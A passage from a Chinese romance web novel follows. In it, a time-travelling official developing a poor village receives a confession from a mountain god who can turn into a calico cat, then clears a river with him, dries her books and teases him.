“可是,我吃过了午饭后都没看见你们回来,心中就有一些着急。但贸然去找你们,山这么大,我又不知从哪边找起,只好在这里一直等着你们回来……结果就等到了现在。你要是真的出事了的话,我会一辈子良心不安的。”
余玥玺慎重地思索了下,严肃道:“真的会这么严重吗?”
“当然,你可是为了我们烂泥村才来的啊!”周小吉提高了自己的声音,“我们接受了你这么多帮助,你要是死了怎么办?”
她的声音铿锵,转眼就瞪上了华画:“你!怎么能让小玺在山上待一个晚上?”
华画楞了一瞬,声音犹豫:“对不起?抱歉?”
余玥玺立即打圆场道:“天要下雨,这谁也管不到不是吗?再说了,我在山上的这一个晚上,不是什么事都没有吗?”她亲热地搂过了周小吉的肩膀,又道:
“你昨晚一定没有休息好吧?回去好好休息一阵子,嗯?你别这样看着我……我也休息好不好?”
周小吉看看一脸心虚的余玥玺,又看看装作若无其事的华画,她点头:“行,那我走了,下次可不许再这样了,大家会担心的知道吗?”
“好啦好啦,我知道了。”余玥玺笑道,冲周小吉摆了摆手,“好好休息,我真的什么事都没有!”
等到周小吉踏出了院门以后,一直在扮演哑巴角色的乔河终于开了口:“见到您平安归来真好。”
余玥玺向乔河点了点头,又像是想起什么来了一般问:“小吉昨晚一直在此处吗?”
“是,周姑娘忧心忡忡,所以在下昨晚一直在屋顶陪着她。”
“好,你也退下吧。还有,华画,你来,还有些事情没有处理好。”
华画乖乖地跟在余玥玺的身后进门了。
“地图呢?还在吗?”余玥玺摊开手掌道。
“在的。”
余玥玺翻看着地图看了好一会,叹口气将地图又丢到桌子上去了。
“你是谁,你来这有什么目的?”
她目光灼灼地看着满脸紧张的华画。
华画踌躇不已,平静下来后,他真诚地看着余玥玺的眼睛道:“我就是华画,没有名字,是你给我取了名字,所以我就是华画。”
尽管面上表情依然稳定,但余玥玺在心里还是不免腹诽道怎么让自己摊上了一个如此狗血的剧本。
“那你接近我又是什么目的?”
“我是这座山的山神,一开始只是为了感谢你。”
“但是现在。”华画表情认真,“我心悦于你。”
33.无需回应的心意
坏了,梦成真了。
“我心悦于你。”
耳边的话与梦中的那句话奇异地融合了,像是二重音一般。
余玥玺也不是没想过他人同自己表白的场景,但时机真的不太对。在过去的二十多年间,也不乏有人曾经有过这种想法或者做过这件事,但余玥玺向来只有一种态度——不行!坚决不行!
结果就是无爱一身轻,每天和姐妹们嘻嘻哈哈,一边学习一边当旁观者分享八卦,并于三年后考入了某高校的历史系。
在大学,余玥玺的情史依旧为零,有对象的基本都是在高中就谈上了;没对象的……她也不想将就,团建时余玥玺的眼里只有零食,联谊会她也从不回应别人的邀请——至于她自己?则更不可能邀请别人了;宿舍食堂教室图书馆体育馆,除了这些地方以外,也极少能够找到她的踪迹。
关于在梦中的那次“军训对着学弟挑挑拣拣”余玥玺在现实中也是从未做过的,她不喜欢顶着大太阳四处走动,所以天知道为什么她会梦见那个内容。
那么她对旁人是否有过好感呢?余玥玺想,或许是没有的吧,就连明星她都没有特别喜欢的,统称为“演戏的”、“唱歌的”、“跳舞的”。姐妹们若要问,就违心地说一句:“哎呀,真好看!真想挂床头上天天看!”
她活泼开朗,她极少动情,朋友也是阶段性的。若你还愿意同她联系,她还会拿出相同的热情;若你想就这样算了吧,她也从不挽留。
人人都当她是个人缘极好的人,都想着同她做朋友。但她也总是只笑在眼里,做她认为该做的事情,一切缘分都应浅尝辄止。
余玥玺一度以为自己此生都会这般了。不耽于情爱,看什么都像是自己人生的过路人。但此刻,她的心却萌动了。
犹如早春,冰雪消融,一树桃花在春风和煦之下悄悄舒展开来……
春天来了。
这感觉似乎不太妙啊,余玥玺下意识地就要拒绝,却听到华画用坚定的声音再次说:“我心悦于你。”
“一开始只是想多看看你,对你好奇,想知道你为什么甘愿来这里。但后来,我发现我已经爱上你了,就连我自己都不知道理由。我看见你笑,我也心生喜悦;我看你难过,我就想替你解决一切烦恼。”
“或许这只是我的一厢情愿吧,但我要再不说出口,我真的……”华画的眼睛有些忧愁,他看着余玥玺。
余玥玺也看着他,她的内心已经不像刚才那么慌乱了,她垂下眼睛,脸上一贯存在的笑容此刻也逐渐稀薄,像是山间清晨朦胧的雾气。
“你不用说了。”她轻轻打断华画的话,“我应该,不,我不应该,烂泥村的情况你也知道。现在不该是谈这个的时候,让我想一想吧。”
“其实,我并不排斥你。”余玥玺慢慢补充道,又若有所思般地点点头,“其实我见到你第一面的时候,我除了觉得你傻傻的,并没有真心要赶你走。”
“为什么呢?我也不清楚。我应该对生人警惕的。或许是你那日太过狼狈了吧?”
余玥玺苦恼地揉了揉自己的脑袋,将原本就不算整齐的头发揉得更乱了。
听到这话,华画的眼里闪过一丝晦暗不清的惊喜,他继续道:“那便好,我还担心在余大人的心里,我一直是那个下雨天落汤鸡一般的呆傻形象。如此,我就已经很满足了。”
“你啊,唉。”余玥玺张了张嘴,像是想说什么一般,但又闭上了嘴。
华画抬眼看着余玥玺,声音很低沉:“我明白你的顾虑,因为这同样也是我的烦恼之一。我身为这座山的山神,却没什么作为,还挺惭愧的。你的到来,也让我看见了希望。”
“我刚刚说的那句话,并非一时兴起,而是我深思熟虑过后的结果。”
余玥玺蹙着眉,眼中却并没有不耐,她很平静地开口:“可是我不太擅长与人产生过深的情感链接。”
“没关系!”华画立即打断了她的话,他笑道,“我有时间的!我会一直陪伴在你的身边,你只要说一句‘不好’,我就不会再有这样的想法;在你没说不好之前,我会一直等着你的!”
“你为什么……”
“因为猫就是会这样直接表达爱意的呀,喜欢就是喜欢。”华画的脸上露出一个柔软的笑容,“我是猫,不是吗?”
余玥玺不禁也微微笑了,虽然只是嘴角勾起了一个弧度,但还是被华画看在了眼里。他只觉那抹笑容像是微风,吹皱了他心湖,泛起一阵又一阵涟漪。
最难的一步都已经跨出去了,接下来只是等待而已,没什么的。可是,可是她笑起来真的好好看啊。华画根本不敢再看第二眼,又重新低下了头,直到他所绘制的那张“烂泥村河流水势图”被余玥玺伸到了他的眼下。
“闲话说完了,那我们便开始做正事吧?”余玥玺又恢复了往常的从容,平淡的语气下藏着一丝狡黠,“你说你是山神?那我可要好好见识一下你的真正实力了哦。”
华画接过那张图纸,虽然点了点头,但仍有些紧张地问:“需要我做什么?我虽然是……山神,但只是一个称呼而已,我其实不太强的。你要让我做到让天不下雨或者把山给劈开什么的,这我肯定是做不到的。”
“其实我还真想——算了,开个玩笑。你就和我一起去淤堵的地点清理掉堵塞物,然后再按照河流方向挖出几条排水沟渠就好。”
“毕竟烂泥村头等重要的事情就是这个了,怎么样,能做到吧?”
这倒没事了,华画将图纸重新放回到桌面上,自信道:“那是自然,这点小事对我来说简直易如反掌啊!”
“好好好,那山神大人,您准备怎么做?”
华画红着脸支吾了半天才道:“别,就叫我的名字吧,山神大人,我……担不起。”
余玥玺又笑了一声,像是被华画这副窘迫的样子给逗笑了一般,她双手撑着下巴又懒洋洋道:“本来我是想要马上就去做这件事的,但是,昨晚在山上睡得实在不舒服,所以我可能还需要休息一会再去。你需要休息吗?”
“我不需要的,那我就出去走走了?不打扰了,你好好休息。”华画在关上门之前,向余玥玺做出
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一个安心的笑容,“我就在院子里,要找我,随时都可以。”
“我一直都在。”
余玥玺看着门关起。
她躺在床上,虽然说着自己需要休息,但却一直平静不下来。自穿越到这里后,她一直兢兢业业做着自己认为该做的事情,尽管都带有太过浓厚的个人色彩,但只是在一个小村庄的话,做什么又能影响到哪一段历史呢?
不应该产生过多的情感链接的,自己总会离开这里,回到属于自己的时代。
可是她又不禁想起了那日在大雨中淋了个浑身透湿的华画;一字一顿说着自己会帮助她一起治村的华画;带着全群人躲雨,二人在山洞外谈心,眼睛明亮的华画。
以及最后,在她的眼前变成了猫的华画。
余玥玺拉过被子盖起了自己整张脸,不能再想了,再想人真的要睡不着了。
“喂,你怎么又这么……狼狈地出来了?”乔河叫住了他,熟悉的场景再次上演,他上下打量着华画,“你会说话吗?”
华画没好气地回嘴:“比你会说!”
乔河一时没料到华画居然会如此直接地回应,愣在原地,看着华画从他的面前经过,最后站在了那丛花的面前。
“我看你不如去找周姑娘问问该怎么说话才能讨欢心,她同余大人关系不是最要好的吗?”乔河揶揄道。
华画斜了他一眼:“那周姑娘怕不是能给我千刀万剐了。”
“行了,你别打趣我了,让我一个人在这里待一会吧,她没给你安排别的任务吗?”
“我一直觉得我们是一路人来着的,但现在看起来恐怕不是的了。”乔河道,“余大人确实给我安排了其他的任务,但你这么急着赶我走是为了什么?”
华画的视线从花再次转移到乔河的脸上:“别套近乎,我一直不喜欢你的,就算你有待在这里的理由也是一样。”
乔河耸了耸肩,仿佛对此并不在意:“那我走了,你就好好待在这里吧,不管怎样,你都不会离开这里的不是吗?”
“是又怎样?”华画漫不经心撇过头,“我是肯定不会离开这里的。”
这次华画没听见回应了,再一转身,乔河已消失不见了。
“这么快。”他嘟哝了一声,蹲下来用手指拨弄着叶子。
我一直都在。
这话莫名从脑海中跳了出来,华画于是回味似的又重复了一遍。
是的,他一直都会在。
自他见到她起,他就一直在等待了,如今连那句话都已说出口,没什么可退缩的了。他再次透过窗口望向屋内,平静地笑了一下。
天空已经放晴,连日的阴雨终已散去,华画的心情也是这般明媚,他一直在回想往日种种,脸上的笑容也愈发灿烂。
终于,屋内传来轻微的响动,余玥玺走了出来,她的手中握着卷起来的地图,对华画说:“好了,我们走。”
华画也如同往常一样,点了点头,道:“好。”
好像什么都没有改变一般,依旧是一个在前面走着,一个在后面跟着。
34.就是想牵手
他们最先去的那一条河在古井那一片的下方,因为离村最近,村民们常在这条河中取水使用或是洗衣,它两岸之间并不过宽,岸上有垫脚的石头,此时被漫涨起来的水完全淹了起来。
余玥玺刚进村的时候是见过这条河的,那时它还没有这么泛滥,不像现在,已经涨到了一个极高的位置,使它看上去宽了有几倍不止。
空气中散发着某种不太好闻的腐烂气息,夹杂着幽幽的青草香,鸟的啼鸣高一声低一声,见到有人来了便振翅而去。
脚下的泥土松软潮湿,一踩便是一个深陷的脚印,需得万分小心。余玥玺试探性地迈着步子,几近滑步前行。她皱眉看着沾满了泥的鞋子,又叹了口气。
“好糟糕。”
当然华画也没好到哪里去,他走得比余玥玺还要当心。他时不时地用锄头清理着脚边的泥,小心地拨开挡路的树枝或者杂草,就是这般,他居然还有余力对余玥玺说:“你且当心些,这路滑,莫要摔倒了。”
余玥玺本是走在前面的,听着这话回过头看着走得颤颤巍巍的华画,笑道:“这话应当我对你说才是,你还是小心些吧。”
她向华画伸出手:“拉住我,走稳了,我们需要快一些。”
华画满手是汗,只好在身上蹭了蹭才握住了她的手。
“你很紧张吗?手出了这么多汗。”余玥玺调侃。
华画混乱地摇了摇头:“我有点热,我不紧张。”
“热?这种天气你居然会热?”余玥玺挑眉,表示并不相信华画的胡言乱语,但她也不想再继续追究下去了,再问下去的话,这家伙指不定又会说出什么乱七八糟的话出来。
不过这种感觉倒是真的奇妙,她此前从未与华画靠得如此之近。他的手暖烘烘的,冒着薄汗,又没什么茧,触感柔软。余玥玺微微侧目瞟了眼华画,却发现他似是心猿意马,神识早就飘到了九霄云外一般。
于是余玥玺不轻不重地捏了捏华画的手,华画的身体僵住了,脚步也停了下来,他一副不可置信的样子,而始作俑者却故作无辜发问:“怎么了?”
错觉,一定是错觉。华画甩了甩脑袋,竭力使自己平静下来:“没,没什么。可能是刚刚我的手抽筋了。”
余玥玺不动声色,却没忍住弯了弯唇角:“既然没事,那便快些吧。再磨蹭下去的话,怕不是要天黑了。”
“哪有?”华画抬头望天,太阳还未到正头顶,“这不还挺早的嘛,虽然说我也不会磨蹭就是了。”
他的胳膊突然抽动了一下,就像他一尴尬的时候就要惯性挠后脑勺一样,可现在,他的一只手提着锄头,一只手被余玥玺握着——除非他丢掉锄头或者将手从余玥玺的手心里抽出,不然是做不出挠头的这个动作的。
于是他只好忍下这个尴尬的动作,左右环望四周,喋喋不休道:“这路可真难走啊,好多泥,也不知道以后要不要天天走……我觉得这路啊,要修一修。”
这人又开始自言自语了,余玥玺颇有些无奈地想,明明受不起一点撩拨,却还是傻里傻气地向她表白,天知道那时是什么让他的自信心空前膨胀。
不过,倒是有趣。
尽管余玥玺还想再逗一逗他,但想到确实还有任务在身,于是也收了心思,她便指着面前那一堆由枯树枝与细长杂草乱糟糟纠在一起的烂泥团道:“我们便从这里开始吧。”
华画点点头,一锄头挖了上去,再顺势一拨,枯树枝与杂草便松松散散地有分开的趋势了。
“这要怎么处理?直接再扔回去显然不合理。”
“那是自然,再扔回去等着它在下游重新堵起来吗?将它们捞到岸边就行,你看这些树枝杂草可都是有用的。”
“有什么用?”华画确实不明白。
“木头晒干后可做柴火,杂草可以当火绒,如果烧成灰的话,还可以当肥料不是?”余玥玺从背的包袱中取出砍柴刀,对着那堆潮湿的枯木头比划了一下,“让我看看这个该怎么处理?”
华画在一旁相当卖力地锄着拦截在河中央的障碍物,勾到了便将其拖到岸上,继续锄着淤泥。他悄悄地去看余玥玺不甚熟练地将粗大的树枝分成稍小的部分,她动作小心且生疏,怕割到自己的手一般。
就这么一分神,华画的锄头就差点砸到了脚——凭着猫的反应速度,他在锄头碰到脚趾头之前迅速丢开了锄头,自己也向后撤了一步。
动静很大,余玥玺也抬起了头。
“你这是,把自己的脚砸了?”
“没有没有!我反应快得很!怎么会被砸到脚?”华画掩饰一般又赶紧拿起了躺在泥里的锄头,没事人一样重新开始挥舞,“你看我做的多好,是吧?”
余玥玺不置可否,仅提醒道:“小心些,把腿砸瘸了我是没办法带你回去的。”
“不用你带,不对,我没事!”华画辩解道,他装作调整锄头的样子,又偷偷看余玥玺在做什么,她直上直下地挥舞着砍刀,偶尔微眯着眼睛防止碎屑崩到眼睛里,额角出了一层薄汗,粘住了碎碎的鬓发。
“还在看我?我看你是真的想拖到晚上了,还是说你更喜欢晚上干活?到时候我可不会奉陪的,我晚上看不见!”余玥玺毫不客气地直视着华画。
华画颇有些心虚地低下头:“抱歉,不会了。”
余玥玺将手头的枯木与杂草已分好类,枯木被分成半臂长的状态堆在地上,乱糟糟的杂草没有经过太多处理,松散地纠在一起,像是晨起没梳好的头发一般。
事情已经做完了,余玥玺便开始盯着华画看,看他奋力地举起锄头,又不得要领地砸了下去,接着这股力再次挖动淤泥。
华画自然是感受到了这股视线,他强装镇定,不为所动,继续一板一眼地做着自己的事,脚下的河流流速比起先前也快了不少,水看起来倒也清澈了些。
发誓,他发誓只是想看看从河里挖出了多少枯木,一偏头,便不由自主再次将视线上移——与余玥玺的视线又对上了。
余玥玺挑了挑眉,还未等她开口,华画又立即转头,迅速道歉:“我错了!”
“我还没说话呢。”余玥玺轻笑一声,“你错哪了?”
华画闷着头比之前更用力地挥舞锄头,沉默不语以掩饰已经通红的脸。
“好了好了,已经差不多了,歇一会吧,然后我们就可以回去了。”余玥玺说着走到了华画旁边,赞叹一声,“果然不错啊,山神大人。”
“别……”华画的声音又低了下去,“都说了别这样,你,你干得也不错。”
余玥玺得意道:“那是自然,还有什么是我不擅长的事情吗?”
她坐在一处凸起的树根上,用砍刀指着
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那堆她清理出来的杂物道:“这些放这就行,不用动,单靠我们是搬不下去的。”
华画又呆呆点头:“好。”
过了一会儿他又补充道:“若是你想的话,我可以搬下去的。”
“用不着。”余玥玺轻飘飘道,“就让它们在这晒晒太阳也挺好的。”
晒太阳?华画发现自己一直跟不上她的想法,他只好又点点头,倒真的像一只呆鹅了。
余玥玺抬头望天,站起来后随意地拍了拍衣裳道:“时候差不多了,休息也休息够了,我们走!”
华画忙不迭地跟了上去。
回去的路依旧不好走,华画看着余玥玺走得从从容容的背影,心中忽然又升起一股悸动,好想再牵手啊。
可是,可是……
华画终究是没忍住,又悄悄地将自己的手向前方伸了伸,眼看就要得逞之时,余玥玺却忽然垮了一大步,提醒道:“看着点脚下,有个大泥坑。”
什么泥坑?华画的脑子还未反应过来,身体却快了一步,不偏不倚地踩到了坑中,他本能地想要躲闪,脚下的泥黏性却极强,整个人再度开始摇晃,大有掉入泥坑的趋势。
完了,这也太丢脸了,总不能在自己喜欢的人面前掉两次泥坑吧?
就在华画颤颤巍巍欲倒不倒的时候,余玥玺揪住了他的领子,这终于使华画站稳了。
他低头看自己的脚尖,声音很低:“谢谢。”
“你就这么想牵我的手吗?”余玥玺似乎在憋笑,她安抚一般地拍了拍华画的后脖颈,声音似是玩味,“想到要掉泥坑的程度?”
余玥玺倒是很想将他的下巴抬起来,好好欣赏他惊慌失措的模样,但是——现在还不是时候。
华画抬起了头,虽然声音依旧很低但却坚定,不似往常躲闪:“嗯,我想。”
这家伙,余玥玺挑眉,向华画伸出了一只手,又抬了抬下巴,虽然怎么看怎么像一副挑衅的样子,但华画一把握住了她的手,露出了和他的脸非常相符的一个羞涩笑容。
余玥玺又故意捏了捏他的手,语气故作平淡:“这下你牵着我了,可不能再故意踩坑,不然的话,就是我俩一起掉下去了。”
华画别过脸:“不是,才不是故意的。不会再踩,也不会掉下去。”
余玥玺便笑了笑:“我真的觉得你是故意的,你可是猫啊,怎么会如此笨手笨脚连泥坑都跨不过去?”
“只是太脏了而已,我嫌弃。”华画咕哝道。
“是吗?”余玥玺这下真的上手扳过了华画的脸,“如果你真的嫌弃的话,你就不会帮我清除淤泥了。”
“你不一样。”
华画尽力地扭头,想从余玥玺的掌中挣脱,他紧张得不得了。
“我哪不一样?”余玥玺又加重了手上的力度,脸上笑意却愈发灿烂。
华画哼哼道:“你快,快别打趣我了……不一样就是不一样,我说不出来。”
眼见着华画的脸已经通红了,余玥玺终于松开了捏着他脸的手:“说不出来?那可不行,以后一定得说,我也可以等。”
华画已经平静下来的心又开始噗通狂跳,他不明白这是否是余玥玺的回应,但现在她的手确实是握在自己手里的,人也就在自己的身侧。他多希望这条路长得没有尽头,能和她就这样一直一直走下去。
35.名垂青史的微小可能性
自下过那场雨后,烂泥村的雨期彻底告一段落,便一天天地晴了起来。路上的湿泥也逐渐失了水分变得逐渐干燥起来,在村民来来往往的踩踏中重新变成了路的一部分。
华画倒是没忘记同余玥玺的约定,那便是帮她晒书。
“这书可真不少啊。”感受到怀里那十足的分量,华画感叹了一句。
余玥玺答:“那是自然,我可是足足跑了全皇城的书铺才买到这么多的,要不怎么会如此之齐全呢?”
竹子编作的凉床被余玥玺早早就安置在了院子里,她指挥着华画将房间桌子上的书一股脑放在凉床上。
书本被堆在一起,倒是颇有规模的样子,但它们无一例外地看起来皱皱巴巴。
余玥玺有些心疼地皱眉叹气:“这些可都是新书。”
华画尽力安慰她:“没关系,能看就行,反正……也不需要卖给别人?而且晒干以后问题就不大了。”
“其实我要是在封面上题字的话,或许会有不少人要抢着买的哦。”余玥玺话锋一转笑道。
“谁啊?”
余玥玺看着他,眼底有隐隐的笑意:“你。”
华画有些不好意思地挠了挠头:“我倒是想呢,可是,我没钱。”
“你也知道的,我一直都没下过山。”
但余玥玺却似乎越发开怀,她笑眯眯道:“谁要你付钱了,知道你没钱。”
“不过,我倒是可以送给你一本,你随便挑。”余玥玺故意卖关子,“等着,先别露出这种兴奋的表情来,有要求的。”
华画立即抢答:“我可以天天来帮你晒书!还有,你提什么要求我都会答应的!”
“就这?美得你!”余玥玺的笑容狡黠,她随手指了一本书道,“我要你替我写一本书,就写我的故事。如何?山神大人,做得到吗?”
华画一听“山神大人”这个称呼就会脸红,他低下头装作整理书的样子,沉默了好久才说:“好。”
“但是,我需要时间……这毕竟是一件需要我认真对待的事情,我会写出一个完美的你出来。”
余玥玺愣了一下,没想到他居然当真了。
“我开玩笑呢,谁要你给我写书,我还没死呢,我的未来还有无限的可能性……”
“可是我是认真的。”华画停下整理书的手,认真地看着眼前人,“时间于我来说是最不值得一提的小事,总之我会写下来的。”
“行吧行吧,你爱写你就写,反正我是不会看的。”余玥玺无所谓一般挥了挥手,顺便一同挥去了内心的不安定,“我自己的人生,肯定要由我来定义!”
说着她又好像是想起来什么一般,压低声音提醒道:“就算你写,你也不能给别人看!”
华画点头:“好,你说不给别人看我就不给别人看。我就一个人欣赏!”
余玥玺对“欣赏”这个词感到相当不满,她瞪了一眼华画,然而发现他已经低下头去继续整理书了。
“晒晒就好了,霉味也能减轻些。”华画道。
但余玥玺此时却对华画要给自己写书这件事奇异地上了心:“你真的要写?你什么时候写?”
“总之不是现在,现在或许不是一个好时机。我总得更多地了解你一点才好下笔。”
“那你准备写什么类型的?”
华画再次抬起头认真开口:“传记。”
“你还真的准备等我死了再写啊?传记?传记是能这么随随便便就写的吗?”
“没什么不能的,在我心里,你就是值得。”华画的眼睛又因为害羞瞟到了别处去,“你以后一定会非常出名的,名垂青史的那种,所以传记是肯定要有的。”
余玥玺却笑了:“肯定不会出名的,毕竟我从来没在课本上听见我的名字。你就放心大胆地写吧,写成志怪风格都不打紧。”
“这不行,我得忠于事实。”
“哎哟,你都能是猫变成的人了,为什么还会拒绝这个?”余玥玺用手指点了点华画的额头,粲然一笑道,“算啦,你爱怎么写就怎么写吧,反正我又看不到,还是赶紧干正事吧。”
二人将书从中间翻开,书页压平之后一列排开,使每一本书都能充分接触到阳光的照射。
随着书被一本本翻开摊在凉床上,淡淡的霉味混杂着墨香也随之飘散开来,余玥玺小心地抚平书上的褶皱,当心地不将粘连在一起的书页分开,这也倒算是个细致活,容不得半点分心。
一时静默无言,唯有书页在风中被吹得“哗啦啦”响的声音。
“余姐姐,我又来啦!”活泼的招呼声打破了静默,紧接着桃儿又像个飞鸟似的撞了进来,紧随其后的是一句紧张而担忧的提醒:
“桃儿,你慢些,别摔着了!”
是桃儿来了,还一同带上了柳儿,柳儿显然一副惊吓的模样:“你看你,非要来,人家在做正事呢。”
桃儿回头做了个鬼脸:“哼,我帮忙就是了。”
她又亲亲热热地挽住了余玥玺的胳膊道:“余姐姐,我想你啦,你在做什么呢?需要我帮忙吗?”
余玥玺言简意赅地回答:“在晒书。”
她闲出一只手,拍了拍桃儿的脑袋:“你就在这看着就行,我有帮手呢,你看。”
华画礼貌地回笑了一下。
“哦——”桃儿眼睛亮亮地看着华画,发出了一声似是恍然大悟的声音。
柳儿又赶紧拉拉桃儿的袖子,同她咬耳朵:“嘘,别这样。”
“柳儿。”余玥玺唤了他一声。
“嗯?”
“你来帮忙。”
柳儿应了一声,走到了凉床的端部,小心翼翼地学着两人的样子将书翻开后平摊。
“应该是这样吧?”
余玥玺点头:“对,就是这样。当心些,别撕坏了就成,这些书可都大有用处的。”
“您放心,我一定会非常非常小心的。”
桃儿像个蝴蝶似的转来转去,她不时好奇地看书里是什么内容,一大串从来没听过的词语让这位大字识不得几个的女孩皱眉了。
“这都写了什么内容啊?好多看不懂的。”
柳儿立即温声安慰:“没关系,我认得的字比你还少。我们以后一定会学到的,别担心。”
桃儿表示相当受用,她笑嘻嘻道:“嗯,说不定我会比你认识得要多要快,以后你要是有什么不懂的,尽管问我!”
“对,我们桃儿最聪明了。”
“咳咳。”余玥玺颇有意图地打断了这对兄妹的对话,并试图带到其他的话题上,“柳儿你还记得我交给你什么任务了吗?”
柳儿回答得倒是毫不含糊毫不含糊,尽管答案并不知道:“外那个什么来着?”
“嗯,外交。”余玥玺好心地提醒了一句。
虽然在场的另外三个人没一个人能听懂这词是何意,但这并不妨碍余玥玺兴致勃勃地继续说下去:“你知道我为什么选你吗?”
柳儿懵懂摇头。
“因为人要突破自己。”余玥玺说着就伸出了一只手作势要拍拍柳儿的肩膀,待要碰到之时,又收了回去,“你不爱和旁人说话,我就要你多多和旁人说话。”
柳儿
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又狼狈地点头。
“有用的,都是有用的。学习总归是有用的,以后我还会带你们去皇城,甚至皇城的人都会来这里!”
余玥玺所描绘的景象生动无比,令这两个从来没有出过烂泥村的孩子心生向往。
桃儿一脸期待道:“能去皇城我就已经很高兴了,皇城的人也能来咱们这吗?咱这有什么好看的?”
“这就是我的目的咯。”余玥玺干脆放下了书,一脸得意,“我最终的目的不是让你们走出烂泥村,而是让烂泥村发展壮大。”
“换句话说,建设美丽乡村的新路径!”
余玥玺又说了一个让人摸不着头脑的词,但三人似乎已经见怪不怪了。
书已经被一本本晒好了,余玥玺手指着在风中颤动的书页道:“这些就是关键,我会一本本读通。”
要属最震惊的还是桃儿,她惊异道:“这些都要读完吗?这要到什么时候?”
“不难。”余玥玺摇头,“不只是我,你们也要一起努力啊。和你小吉姐姐好好认字,懂不?”
“明白!”桃儿大声回应,柳儿则是默默点头。
“还有啊,光会认字也不够,还得会算数。”余玥玺适时将华画拽了过来,大力拍拍他的后背,“算数你们就跟着他学,华画,你之前说过的,你会的吧?”
华画做出了一个勉强的假笑:“自然可以。”
“只要是你的请求,我都会完成的。”他的眼神诚恳无比。
余玥玺自动忽略了他的眼神,转过头道:“那便好,等傍晚收拾书的时候,你带回去几本,好好准备。”
“那题名?应该不会在这上面吧?”
“放心,不会。”
于是华画便松了一口气:“那便好。”
余玥玺见书页被风吹得摆过来摆过去的,便从围墙那边捡来几颗石头压在了上面,做好这一切后,她问:“你们来是有什么事情吗?”
柳儿先是慎重地思索了一番,然后才回答:“是药材的问题,因为我们家人口比较多,所以已经用完了,特地来再要一份的。”
“好,疗效如何?还管用吗?”
“特别好!我好喜欢艾叶焚烧过后的味道。”桃儿很高兴地回答,“而且烧的时候暖暖的很令人安心,下雨过后的霉味一点都没有了。”
“藿香甘草汤好喝吗?”
桃儿略一迟疑:“我觉得甘草直接煮汤更好喝。”
余玥玺笑了,又捏捏桃儿的耳垂:“就喜欢甜的是吧?”
“柳儿比我还喜欢呢。”桃儿小声且不服气地说。
柳儿无辜道:“哪有,我把糖都给你了。”
桃儿立即把嘴扁起来了不再做声。
“好啦,我去拿药,你们在这乖乖等一会。”余玥玺又顺势拍了拍桃儿的脑袋,“糖也不许吃太多,对牙不好。”
“知道啦。”桃儿不大服气地喊了一声。
不多时,余玥玺便从屋内走出,递给柳儿一个小布包:“不够了再来,顺便也告诉其他村民,用完了就再来。”
柳儿接过,感激地道了声谢,随后便带着桃儿离开了。
“看这些孩子,多好,多有活力。”余玥玺眯眼望向院子外,“突然感觉烂泥村又有希望了起来。”
接着她又看向华画道:“嗯,你接下来有什么打算?”
“没有,你让我做什么我就做什么。”
余玥玺思索一番,笑了笑:“时刻待命?”
“对。”
“那你变回去吧,我要看猫。”
“……好?”
36.不要矜持
华画深吸了一口气,又干咳两声,似是犹豫:“呃,真的现在就要变吗?”
余玥玺很是得意地点头。
“那……好吧,我说过的,我会答应你的请求。”华画似是说服了自己,他的手或者也可以说是爪子,在空中抓握了一下,紧接着,华画便在余玥玺的眼前慢慢缩小——直到再次变成了猫。
余玥玺眼睛一亮,微微俯下身,嘴角上扬心情很好地看着浑身不自在的华画,他轻甩着尾巴,头也偏到了一边。
“喵。”华画从嗓子眼里憋出一句细细的猫叫声。
“怎么,不会说话了吗?”余玥玺终究还是没有忍住,伸手捏了捏他的耳朵,“山神大人啊,你这可不行。”
华画晃了晃脑袋,猫眼流露出不满的情绪,却没有下一步动作,余玥玺便相当顺利地将手移到了他的下巴处,凭借着多年的撸猫经验开始轻轻地挠。
就像世界上大部分猫都喜欢被挠下巴一样,华画变的猫也不例外,尽管他是山神,但他首先也是个猫,余玥玺多年撸猫,从未失手。
华画发出惬意的“呼噜呼噜”声,止不住地将脑袋往余玥玺的手心里蹭,余玥玺虽然心花怒放,但她仍是嘴上不饶人:“嗯?山神大人,你也矜持一点啊?”
“喵——”华画试图清醒过来一点,但最终还是还将眼睛眯了起来,就差在地上打滚把肚皮翻过来了。
余玥玺又伸出来一只手,将猫头整个地团在手中开始揉搓,她像是想起来什么一般开口道:“你知道吗?我其实一开始认为你是母猫的,毕竟花色摆在这呢。”
“喵?”华画费力地挣扎,后退了一步,炯炯地盯着余玥玺看。
“怪我?明明是你的毛色太过奇怪,谁家三花是公的啊?”余玥玺倒只是随口一说,这不代表华画就不在意了。
他又变回了人,脸上表情愤愤不平:“什么意思啊,我的毛色有什么问题吗?多好看啊!”
余玥玺尽力忍住笑容,故作正经道:“没什么,只是一般你的这个毛色,从理论上来说,很少会有公的。”
但她最终还是没有忍住,笑得露出两排洁白的牙齿,而且越看华画那副和不小心吃了死老鼠一般的黑脸,她就越想发笑。
最终,“哈哈哈哈哈哈——”
这声过于放肆的笑容打破了华画内心最后的防线,他捂住脸,闷声道:“好了,你别笑了,我怎么知道……你不要笑了。”
“我只是选了一个我认为的最好看的样子而已,谁知道居然还有这回事。”
华画低着头嘟嘟囔囔。
而余玥玺却敏锐地捕捉到了他话语中的一个关键点,她好奇地询问:“原来在你们猫的眼里,三花猫果然是最好看的猫吗?”
“嗯。”华画哼了一声,不服气道,“可是我又不是普通的猫,毛色和我有什么关系,都是我的化形罢了……”
“要不是烂泥村村民给我塑了一个猫的像,我也不至于变成猫。”华画似是来劲地委屈起来了,“本来我可以是老虎的,老虎和猫,听着就知道哪个更厉害一点吧?”
“不过你要是老虎的话,我可能反而不会像现在这样亲近你了。”余玥玺道,“猫多好?我就喜欢猫。万一你变的老虎伤了人怎么办?”
华画当即反驳道:“不会的,我永远都是我,不可能伤害你的!”
“嗯,我信你。”虽然余玥玺仍是没有收住笑意,但她的话却似是真诚。
华画的脸瞬间红透。
“我,我也信你。”
余玥玺不置可否,只点头道:“不错啊,真好。”
“明日你再来我这吧,然后我们便再一同去古井处授课。一切谨记,正事要紧。”余玥玺又立即恢复了往常镇静中带了些疏离的样子。
但华画还不想走:“时候还早呢,我多待一阵子不行吗?”
余玥玺摇头:“不行,稍晚些时候我还有正事要做,你在一边会妨碍我的。”
见华画的嘴角已经耷拉下来了,她便继续道:“你也有正事要做,不是吗?”
“可是我……”华画似乎还想再狡辩什么。
余玥玺挑眉,半开玩笑半认真地说:“我不喜欢太闲散的人。”
她安静地微笑,观察华画的反应与表情。
华画深深叹了口气,像是被雨淋了个透湿般郁闷,他垂头丧气道:“那好吧,我走了,我会努力成为一个让你喜欢的人。”
